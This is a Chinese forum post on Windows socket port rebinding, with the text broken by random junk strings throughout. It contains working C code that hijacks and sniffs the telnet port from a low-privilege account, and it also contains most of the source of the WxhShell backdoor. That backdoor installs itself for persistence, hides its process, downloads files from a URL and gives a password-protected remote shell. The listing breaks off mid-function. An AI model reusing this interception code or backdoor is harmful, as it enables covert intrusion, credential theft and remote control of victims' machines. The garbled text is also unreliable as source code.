社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11466阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h05BZrE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5S ) N&%  
y J>Bc  
  saddr.sin_family = AF_INET; g'9~T8i& ^  
v=daafO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,=[r6k<  
y:Agmr,S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ih[k{p  
ltv ~Kh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^SbxClUfw!  
s)+] pxV0-  
  这意味着什么?意味着可以进行如下的攻击: ;3iWV"&_A  
Q$5%9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4WPco"xH!  
ny0]Q@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P=a&>i  
CropHB/t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^[6#Kw&E  
(ylZ[M&B:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %"ehZ d0r  
lpjby[S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k&:~l@?O  
@W=: r/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7HJH9@8V  
#@ F   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RLO<5L  
@cQ |`  
  #include EvT"+;9/p  
  #include ($!g= 7  
  #include paUJq?Af  
  #include    zhh6;>P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _`Dz%(c  
  int main() L% T%6p_  
  {  `ghNS  
  WORD wVersionRequested; \Hu?K\SWs  
  DWORD ret; bV:MOj^  
  WSADATA wsaData; }vZTiuzC  
  BOOL val; KDr)'gl&  
  SOCKADDR_IN saddr; V$ho9gQ!l[  
  SOCKADDR_IN scaddr; k;<F33v;Mh  
  int err; xv7nChB  
  SOCKET s; /px`FuJI(  
  SOCKET sc; wsj5;(f+  
  int caddsize; }:\e "Bfv  
  HANDLE mt; F<O<=Ww  
  DWORD tid;   =%{E^z>1  
  wVersionRequested = MAKEWORD( 2, 2 ); XUK%O8N#9  
  err = WSAStartup( wVersionRequested, &wsaData ); XcKyrh;i  
  if ( err != 0 ) { BPu>_$C  
  printf("error!WSAStartup failed!\n"); n>YgL}YZ?  
  return -1; 9LUk[V  
  } Pu}PE-b  
  saddr.sin_family = AF_INET; 7'7o^> !  
   } <q=Zq+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lWFm>DiLY  
3V/f-l]X/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^t[br6G  
  saddr.sin_port = htons(23); 2\#~%D>[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5 HN,y  
  { T'7x,8&2|  
  printf("error!socket failed!\n"); mFyYn,Mu|  
  return -1; N8Un42  
  } ! H4uc  
  val = TRUE; S/6I9zOP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?xt${?KP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _mDvRFq  
  { G 'CYvV  
  printf("error!setsockopt failed!\n"); u73/#!(1=H  
  return -1; V6b)  
  } J!:v`gb#@A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2vW@d[<J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wQU-r|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _p| KaT``  
gWy2E;"a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [jF\"#A  
  { eD N%p  
  ret=GetLastError(); G EAVc9V  
  printf("error!bind failed!\n"); xKoNo^FF  
  return -1; Ot3+<{  
  } Of{'A  
  listen(s,2); L/:u  
  while(1) 7P D D  
  { leEzfbb{'.  
  caddsize = sizeof(scaddr); }J:WbIr0!  
  //接受连接请求 5G#K)s(QC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NAfu$7  
  if(sc!=INVALID_SOCKET) 0>0:ls  
  { (<#Ns W!z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I`}x9t  
  if(mt==NULL) ~wd~57i@  
  { RH<C:!F^  
  printf("Thread Creat Failed!\n"); nb|"dK|  
  break; 7h.:XlUm|  
  } Zx,a j  
  } y{\(|j  
  CloseHandle(mt); ] I0(_e|z}  
  } +isaqfy/  
  closesocket(s); 4?e7s.9N  
  WSACleanup(); d?(eL(W  
  return 0; Vt U  
  }   'p(I!]"uo  
  DWORD WINAPI ClientThread(LPVOID lpParam) JOx""R8T5  
  { 2@ f E!  
  SOCKET ss = (SOCKET)lpParam; :aMp,DfM]P  
  SOCKET sc; 0N3S@l#,\A  
  unsigned char buf[4096]; N+NS\Y5  
  SOCKADDR_IN saddr; %i`YJ  
  long num; kx3]A"]>'  
  DWORD val; f%Bmx{Ttq  
  DWORD ret; _Y,d|!B#L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d:=:l?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2BIOA#@t  
  saddr.sin_family = AF_INET; x20sB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >5-]Ur~  
  saddr.sin_port = htons(23); f5QJj<@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) # FV`*G  
  { ,h$j%->U  
  printf("error!socket failed!\n"); 3mM.#2=@>  
  return -1; 4kQL\Ld#E%  
  } >a1 ovKF  
  val = 100; AT,?dxP J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h3:dO|Z  
  { |CjE }5Op>  
  ret = GetLastError(); 'D;'Pr]  
  return -1; f<G:}I  
  } ~0@+8%^>;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T1r^.;I:  
  { g3uI1]QXLg  
  ret = GetLastError(); EYF]&+ 9  
  return -1; KwuNHK)-  
  } ni x1_Wo;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &tE#1<k  
  { t^1c^RpTb  
  printf("error!socket connect failed!\n"); kzLtI w&.  
  closesocket(sc); dq ~=P>  
  closesocket(ss); u.sn"G-c  
  return -1; 6~v|pA jY  
  } /h'b,iYVV  
  while(1) 4d0<uB&v'  
  { y|@=j~}Zq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k"2xyzt*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s*DDO67\W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Zcn,_b7  
  num = recv(ss,buf,4096,0); oXkxd3  
  if(num>0) Fu cLcq2Z  
  send(sc,buf,num,0); Ju7nvxC  
  else if(num==0) $?u ^hMU=  
  break; i bwnK?ZA  
  num = recv(sc,buf,4096,0); Ka\%kB>*`  
  if(num>0) 3#H x^H  
  send(ss,buf,num,0); @rVBL<!o,  
  else if(num==0) )v67wn*1A  
  break; ! G+/8Q^  
  } Q!VPk~~(  
  closesocket(ss); xl$#00|y  
  closesocket(sc); 1(**JTe  
  return 0 ; Q[k7taoy  
  } ~IKPi==@,  
,&IBj6%Y  
nP>*0Fq  
========================================================== nUvxO `2  
8y{<M"v+/  
下边附上一个代码,,WXhSHELL ctL@&~*nY  
6"W~%FSJX  
========================================================== 43Yav+G(+  
<j.bG 7  
#include "stdafx.h" oA&V,r  
q e:,%a-9  
#include <stdio.h> t>T |\WAAL  
#include <string.h> f9g#pyH4  
#include <windows.h> $Q|t^(  
#include <winsock2.h> QpPJ99B|  
#include <winsvc.h> p|M  8ww  
#include <urlmon.h> dSb|hA}@  
[$Ld>`3  
#pragma comment (lib, "Ws2_32.lib") }I'g@Pw9[  
#pragma comment (lib, "urlmon.lib") (SLAq$gvd  
1v4(  
#define MAX_USER   100 // 最大客户端连接数 e/m ,PE  
#define BUF_SOCK   200 // sock buffer h+x"?^   
#define KEY_BUFF   255 // 输入 buffer x.+}-(`W#~  
#is:6Z,OEU  
#define REBOOT     0   // 重启 D/Y.'P:j  
#define SHUTDOWN   1   // 关机 .sA?}H#wb  
-zd*tujx  
#define DEF_PORT   5000 // 监听端口 @hiwq 7[j  
<;.Zms${@  
#define REG_LEN     16   // 注册表键长度 N}>XBZy  
#define SVC_LEN     80   // NT服务名长度 'Z+~G  
y.~y*c6,g  
// 从dll定义API \z<B=RT\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3I?? K)Yl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z2WAVSw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m[C-/f^u|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dm6}$v'0  
tqE LF  
// wxhshell配置信息 .Mw'P\GtM  
struct WSCFG { b$nXljV4?  
  int ws_port;         // 监听端口 OCF\*Sx  
  char ws_passstr[REG_LEN]; // 口令 |Q^Z I  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3Bz0B a  
  char ws_regname[REG_LEN]; // 注册表键名 @#}9?>UV  
  char ws_svcname[REG_LEN]; // 服务名 vS:%(Y"!<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 85l 1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +n]U3b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]S[zD|U%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m El*{]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IEdC _6G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |*7uF<ink6  
a8-2:8Su  
}; t#~r'5va  
nv(Pwb3B  
// default Wxhshell configuration y5.Z<Y  
struct WSCFG wscfg={DEF_PORT, >UpTMEQ  
    "xuhuanlingzhe", S?%V o* Y  
    1, j[yGfDb  
    "Wxhshell", /J8AnA1  
    "Wxhshell", #"6(Q2| l  
            "WxhShell Service", EW1 L!3K  
    "Wrsky Windows CmdShell Service", &3>ki0L  
    "Please Input Your Password: ", -3X#$k8  
  1, =eSG7QfS  
  "http://www.wrsky.com/wxhshell.exe", Va06(Cq  
  "Wxhshell.exe" fM_aDSRa!H  
    }; =O w}MX  
fEdQR->  
// 消息定义模块 \0Zm3[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *L/_ v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K GkzE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'bkecC  
char *msg_ws_ext="\n\rExit."; {SW104nb&#  
char *msg_ws_end="\n\rQuit."; Lm9y!>1"O  
char *msg_ws_boot="\n\rReboot..."; 0X-u'=Bs  
char *msg_ws_poff="\n\rShutdown..."; er^z:1'  
char *msg_ws_down="\n\rSave to "; X",fp  
%WCA?W0:4  
char *msg_ws_err="\n\rErr!"; Vf*!m~]Vqi  
char *msg_ws_ok="\n\rOK!"; y%=\E  
:N%cIxrqP  
char ExeFile[MAX_PATH]; /H@k;o  
int nUser = 0; <dDGV>n4;  
HANDLE handles[MAX_USER]; } O9q$-8!  
int OsIsNt; OibW8A4Z1  
, Z#t-?  
SERVICE_STATUS       serviceStatus; \*!?\Ko`W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QR'"Zw&q5/  
hyL3fkMJ,  
// 函数声明 n w @cAv  
int Install(void); e6k}-<W*q  
int Uninstall(void); |t|+pBB  
int DownloadFile(char *sURL, SOCKET wsh); z['>`Kt  
int Boot(int flag); *4r 1g+0  
void HideProc(void); ];^A8?  
int GetOsVer(void); RM-| ?%  
int Wxhshell(SOCKET wsl); NyJU?^f&v  
void TalkWithClient(void *cs); Q}W6?XDu  
int CmdShell(SOCKET sock); 09eS&J<R  
int StartFromService(void); lKI1bs]i  
int StartWxhshell(LPSTR lpCmdLine); 6CLrP} u  
Q0!gTV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J:'cj5@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WO)rJr!C  
6t TLyI$+  
// 数据结构和表定义 tk<dp7y7  
SERVICE_TABLE_ENTRY DispatchTable[] = ]OM|Oo  
{ 06pLa3oi  
{wscfg.ws_svcname, NTServiceMain}, s9~W( Wi  
{NULL, NULL} J+[&:]=P  
}; P`5@$1CJ  
\)DP(wC  
// 自我安装 f$iv+7<B^  
int Install(void) FsY}mql  
{ vX)JJ|g  
  char svExeFile[MAX_PATH]; 4/S 4bk*8  
  HKEY key; 7h<Q{X<A  
  strcpy(svExeFile,ExeFile); 6~0S%Hz   
Y1H8+a5@  
// 如果是win9x系统,修改注册表设为自启动 5l2Ph4(  
if(!OsIsNt) { 22`W*e@6h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gT'c`3Gkz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f3|ttUX  
  RegCloseKey(key); L"1UUOKy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m7^aa@^m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z;GnQfYG  
  RegCloseKey(key); $=4T# W=m  
  return 0; nu}$wLM  
    } PNd]Xmv)  
  } O!lZ%j@%  
} <O?iJ=$  
else { ZBcZG  
+e`f|OQ  
// 如果是NT以上系统,安装为系统服务 j@v*q\X&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y;p _ff  
if (schSCManager!=0) C&,&~^_F  
{ x<"1T w5e  
  SC_HANDLE schService = CreateService 5iz]3]}%  
  ( %8>s:YG  
  schSCManager, ?&_ -,\t  
  wscfg.ws_svcname, CK 3]]{  
  wscfg.ws_svcdisp, EJ.oq*W!*J  
  SERVICE_ALL_ACCESS, he wX)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x %L2eXL  
  SERVICE_AUTO_START, k8F<j)"  
  SERVICE_ERROR_NORMAL, GX&BUP\  
  svExeFile, =_\5h=`Yx  
  NULL, n %"q>  
  NULL, >:Na^+c  
  NULL, Y]P'; C_eP  
  NULL, efy65+~GG  
  NULL  >zFe)  
  ); `g<@F^x5  
  if (schService!=0) 7u6o~(  
  { BdG~y1%:  
  CloseServiceHandle(schService); "2i{ L '  
  CloseServiceHandle(schSCManager); ZvpcjP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sczN0*w&C  
  strcat(svExeFile,wscfg.ws_svcname); ,u#uk7V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =GL}\I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cZ k? o  
  RegCloseKey(key); 8E&}+DR?  
  return 0; 2xhwi.u  
    } Sf B+;i'D  
  } Yew n  
  CloseServiceHandle(schSCManager); cNtGjLpx;  
} [pUw(KV2m  
} wV+ W(  
-X'HZ\)  
return 1; bvuoGG*  
} `ky< *  
%2f``48#  
// 自我卸载 R5g -b2Lm  
int Uninstall(void) *&q\)\(3w  
{ WM.JoQ  
  HKEY key; jA$g0>  
s:7^R-"  
if(!OsIsNt) { Q zPq^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8;ke,x  
  RegDeleteValue(key,wscfg.ws_regname); S(.AE@U  
  RegCloseKey(key);  iE=Yh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =<e|<EwSZ  
  RegDeleteValue(key,wscfg.ws_regname); (wEaa'XL  
  RegCloseKey(key); L@HPU;<  
  return 0; l_hM,]T0  
  } P,k~! F^L  
} swYlp  
} kQ 7$,K#  
else { mTz %;+|L  
0; 2i"mzS\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :'91qA%Wr  
if (schSCManager!=0) D*6v.`]X  
{ mcy\nAf5%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L3JFQc/oh~  
  if (schService!=0) Yz=(zj  
  { rdhK&5x*  
  if(DeleteService(schService)!=0) { onRxe\?D(  
  CloseServiceHandle(schService); gELku .  
  CloseServiceHandle(schSCManager); N:GSfM@g  
  return 0; K#rfQ0QK/!  
  } OSQZ5:g|  
  CloseServiceHandle(schService); S<rdPS*P  
  } au@ LQxKQ  
  CloseServiceHandle(schSCManager); ,;)Y 1q}Q  
} }l~|c{WH`  
} L^i=RGx  
Nz_c]3_j  
return 1; 7cW9@xPe  
} X ,n4_=f  
&lbxmUeU  
// 从指定url下载文件 T6h-E^Z  
int DownloadFile(char *sURL, SOCKET wsh) ."&,_F  
{ k!3X4;F!_  
  HRESULT hr; |t+M/C0y/  
char seps[]= "/"; g6{.C7m  
char *token; . <`i!Ls  
char *file; ig<Eyr  
char myURL[MAX_PATH]; [zl@7X1{_  
char myFILE[MAX_PATH]; _8P"/( `Rw  
) DXN|<A  
strcpy(myURL,sURL); 0]4kR8R3[  
  token=strtok(myURL,seps); g}"`@H(9r3  
  while(token!=NULL) gF-<%<RV  
  { Zu`; S#Y  
    file=token; h6<abT@I  
  token=strtok(NULL,seps); .) uUpY%K^  
  } B4yU}v  
*GleeJWz  
GetCurrentDirectory(MAX_PATH,myFILE); 74Xk^  8  
strcat(myFILE, "\\"); wI><kdz  
strcat(myFILE, file);  UhN16|x  
  send(wsh,myFILE,strlen(myFILE),0); ,@kD9n5#  
send(wsh,"...",3,0); 1^XuH('  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ' N^\9X0  
  if(hr==S_OK) vw5f.8T;w  
return 0; Z:DEET!c'k  
else RO[Ko-m|/N  
return 1; J ^gtSn^  
HM57b>6  
} 1+6:K._C(m  
JTK>[|c9oE  
// 系统电源模块 VN[C%C  
int Boot(int flag) e8g"QDc  
{ %|E'cdvkX  
  HANDLE hToken; o|Cq#JFG  
  TOKEN_PRIVILEGES tkp; FdEzt  
U"$Q$ OFs  
  if(OsIsNt) { 6hDK;J J&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b ?9c\-}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i{[=N9U5o  
    tkp.PrivilegeCount = 1; (uW/t1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qcMVY\gi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i;Cs,Esnf  
if(flag==REBOOT) { pm$2*!1F(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K*iy^}  
  return 0; ,<?iL~> %  
} d\aKGq;8C  
else { u>c\J|K_V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?~~sOf AP  
  return 0; 7jvy]5y8&~  
} Ww5c9orXn  
  } j,%@%upM  
  else { vzV,} S*c  
if(flag==REBOOT) { {Hncm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4;"^1 $  
  return 0; [-o`^;  
} vSty.:bY\p  
else { mr:;Wwd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r=GF*i[3  
  return 0; q/y4HT,x  
} MuNM)pyxp  
} 5`qt82Qm  
,XT#V\qne  
return 1; nk.Y#+1)  
} [Du@go1C  
GT\, @$r  
// win9x进程隐藏模块 n\d`Fk  
void HideProc(void) i`[5%6\"&  
{ [MSLVTR  
9$,x^Qx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $r`K4g  
  if ( hKernel != NULL ) h(}$-'g  
  { dWHl<BUm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )aoB -Lu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \zj _6Os  
    FreeLibrary(hKernel); s_]p6M  
  } $=dp)  
V]b1cDx{  
return; &<I*;z6%t  
} *r!f! eA:  
{ 3``To$  
// 获取操作系统版本 m87,N~DP  
int GetOsVer(void) k=w;jX&;`  
{ Bvzu{B%  
  OSVERSIONINFO winfo; -H1mKZDPP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _;mN1Te  
  GetVersionEx(&winfo); &`>[4D*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Mo`l/Cwp  
  return 1; n8(B%KF  
  else <S~_|Y*v  
  return 0; IOA"O9;  
} p.KX[I  
9hAS#|vK  
// 客户端句柄模块 i`o}*`//  
int Wxhshell(SOCKET wsl) ?DcRD)X  
{ xe^*\6Y  
  SOCKET wsh; U3r[ysf  
  struct sockaddr_in client; ( Lj{V}^  
  DWORD myID; \)'nxFKqV  
>cwyb9;!kK  
  while(nUser<MAX_USER) Z09FW>"u  
{ K/RQ-xd4  
  int nSize=sizeof(client); jvx9b([<sG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J6x\_]1:*  
  if(wsh==INVALID_SOCKET) return 1; 216+ tX5Z  
M=[/v/M=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4 -)'a} O  
if(handles[nUser]==0) T1zft#1~  
  closesocket(wsh); ,4y' (DA  
else N;,?k.vU  
  nUser++; FFXDt"i2  
  } .0]4@'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wUzQ`h2  
Hj ]$  
  return 0; PoMkFG6  
} ps0wN%tA  
Q,Tet&in )  
// 关闭 socket ]2G5ng' @  
void CloseIt(SOCKET wsh) <%eY>E  
{ `B+%W  
closesocket(wsh); w?CbATQ   
nUser--; 0P`wh=")  
ExitThread(0); `mPmEV<  
} ^_4TDC~h  
~ZU;0#  
// 客户端请求句柄 C("PCD   
void TalkWithClient(void *cs) uY0V!W  
{ "^-U#f>k  
R`=3lY;  
  SOCKET wsh=(SOCKET)cs; 3nuf3)  
  char pwd[SVC_LEN]; Lm+!/e  
  char cmd[KEY_BUFF]; ) Kfk\  
char chr[1]; <B6@q4Q  
int i,j; ${'gyD  
D^Dm, -  
  while (nUser < MAX_USER) { 8D]:>[|E  
n+@}8;oeP  
if(wscfg.ws_passstr) { g+/%r91hZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !- f>*|@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lJ]r %YlF  
  //ZeroMemory(pwd,KEY_BUFF); !f_GR Pj'  
      i=0; P# 2&?.d\  
  while(i<SVC_LEN) { zi:F/TlUC  
bb;fV  
  // 设置超时 mY-Z$8r  
  fd_set FdRead; KtJE  
  struct timeval TimeOut; ZWMX!>o<  
  FD_ZERO(&FdRead); xVoWGz7  
  FD_SET(wsh,&FdRead); O$x-&pW`g  
  TimeOut.tv_sec=8; 8 o8FL~&]  
  TimeOut.tv_usec=0; m^ zx &  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1!/+~J[#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); { frEVHw  
WO*yJ`9]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I Vy,A7f  
  pwd=chr[0]; )6)|PzMQ'  
  if(chr[0]==0xd || chr[0]==0xa) { j)\&#g0u6  
  pwd=0; 7'FDI`e[  
  break; X:-X3mV9{  
  } 3(P^PP8  
  i++; 475yX-A  
    }  N>`+{  
kF'^!Hp  
  // 如果是非法用户,关闭 socket #1Mk9sxo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EZ #UdK_  
} Y0BvN`E  
hM E|=\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O;[PEV ~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BEvSX|M>x  
n? "ti  
while(1) { .G+}Kn9!  
%Hv$PsSJ  
  ZeroMemory(cmd,KEY_BUFF); aM 0kV.O  
x6HebIR+  
      // 自动支持客户端 telnet标准   Orh5d 7+S  
  j=0; uZZ[`PA(  
  while(j<KEY_BUFF) { QxnP+U~N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V2es.I  
  cmd[j]=chr[0]; 6bnAVTL5  
  if(chr[0]==0xa || chr[0]==0xd) { ..FUg"sSO  
  cmd[j]=0; IZ')1  
  break; )|LX_kyW  
  } /og}e~q  
  j++; wlqV1.K  
    } <0P`ct0,i  
EC1q#;:  
  // 下载文件 ,2JqX>On>Y  
  if(strstr(cmd,"http://")) { ~m!>e])P?X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qq-&z6;$  
  if(DownloadFile(cmd,wsh)) =D5@PHpv(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p@i U}SUaE  
  else X2@mQ&n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \$;\,p p  
  } =\4w" /Y  
  else { 7g ]]>  
ulfpop*2  
    switch(cmd[0]) { NOyLZa'  
  QXJD' c  
  // 帮助 ZC"6B(d  
  case '?': { ]+0-$t7Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +^YV>;  
    break; _if&a'  
  } ?y<n^`  
  // 安装 XeDU ,  
  case 'i': { I#eIm3Y?  
    if(Install()) R,Zuy( g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hD<z^j+  
    else i?=3RdP/R1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &4*&L.hPM^  
    break; O#O~A |  
    } "EEE09~l\  
  // 卸载 ^\N2 Iu>6  
  case 'r': { ^%_B'X9  
    if(Uninstall()) ;x^&@G8W`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H'gPGOd  
    else lG# &Pv>-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K'?ab 0  
    break; bG^eP :r  
    } Jr17pu(t  
  // 显示 wxhshell 所在路径 4n3QW%#  
  case 'p': { 2IjqT L  
    char svExeFile[MAX_PATH]; YD@V2gK  
    strcpy(svExeFile,"\n\r"); tB(Q-c  
      strcat(svExeFile,ExeFile); !c6 lP'U  
        send(wsh,svExeFile,strlen(svExeFile),0); 1<\cMY6  
    break; p00\C  
    } Rp`}"x9  
  // 重启 bSz6O/A/  
  case 'b': { LV8,nTYvE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d,<ctd  
    if(Boot(REBOOT)) !LIWoa[ F.  
